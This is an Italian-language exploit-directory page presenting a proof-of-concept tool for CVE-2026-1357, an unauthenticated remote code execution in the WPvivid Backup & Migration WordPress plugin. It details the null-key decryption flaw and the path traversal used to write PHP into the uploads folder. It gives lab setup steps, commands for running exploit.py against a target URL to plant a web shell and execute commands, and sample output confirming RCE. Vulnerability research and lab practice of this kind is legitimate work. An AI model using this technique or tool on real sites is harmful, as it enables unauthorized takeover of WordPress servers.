Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non autenticato | Kitploit
Strumenti/GitHubGitHub/halilkirazkaya/cve-2026-1357
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Exploit RCE non autenticato

Vedi Repository
1435 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-1357 — WPvivid Backup & Migration RCE

Caricamento arbitrario di file senza autenticazione → Esecuzione di codice remoto

CampoValore
CVECVE-2026-1357
CVSS9.8 (Critico)
PluginWPvivid Backup & Migration
Versioni affette≤ 0.9.123
Versione corretta0.9.124
Scoperto daLucas Montes (NiRoX)
PoC dihalilkirazkaya

Panoramica

Il plugin WPvivid Backup & Migration (≤ 0.9.123) contiene una vulnerabilità critica che consente a un attaccante non autenticato di caricare file PHP arbitrari sul server, portando a Esecuzione di codice remoto (RCE).

La catena di exploit combina due bug:

1. Fail-Open crittografico

Il plugin gestisce i trasferimenti di backup remoti tramite l'hook wpvivid_action=send_to_site. Quando decrittografa la chiave di sessione, openssl_private_decrypt() restituisce false per una chiave RSA malformata. Il plugin non controlla questo valore di ritorno e passa false al Crypt_Rijndael di phpseclib v1, che lo tratta come una chiave nulla di 16 byte (\x00 × 16) con modalità CBC e IV nullo.

2. Path Traversal

Il parametro name nel payload JSON decrittografato non viene sanitizzato. Un attaccante può usare sequenze ../ per scrivere un file PHP al di fuori della directory di backup limitata, nella directory pubblicamente accessibile wp-content/uploads/.

Vincolo

Il wpvivid_api_token deve essere stato generato nelle impostazioni del plugin e non deve essere scaduto.


Configurazione

1. Scarica il Plugin Vulnerabile

Scarica ed estrai WPvivid Backup & Migration v0.9.123 (versione vulnerabile):

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

Questo creerà la directory wpvivid-backuprestore/ che viene montata nel container Docker tramite docker-compose.yml.

2. Avvia l'ambiente di laboratorio

root@kitploit:~
docker compose up -d

3. Configura WordPress

  1. Apri http://localhost e completa l'installazione di WordPress.
  2. Vai su Plugin → Plugin installati e attiva WPvivid Backup & Migration.
  3. Vai su WPvivid → Impostazioni → Auto-Migration e clicca su Genera per creare una chiave (questo abilita il percorso di codice vulnerabile).

4. Installa le dipendenze

root@kitploit:~
pip install -r requirements.txt

Utilizzo

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

Output di esempio (Modalità Check)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Check
[*] Upload path  : ../uploads/h8xq9b3v2z1c.txt

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.

Output di esempio (Modalità Shell)

root@kitploit:~
[*] Target       : http://localhost/
[*] Mode         : Shell
[*] Upload path  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd   : id

[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response     : 200
[+] Body         : {"result":"success","op":"finished"}

[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Riferimenti

  • Wordfence Advisory
  • PoC originale di LucasM0ntes

Disclaimer

Questo strumento è fornito solo per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizzalo in modo responsabile.

Scarica lo strumento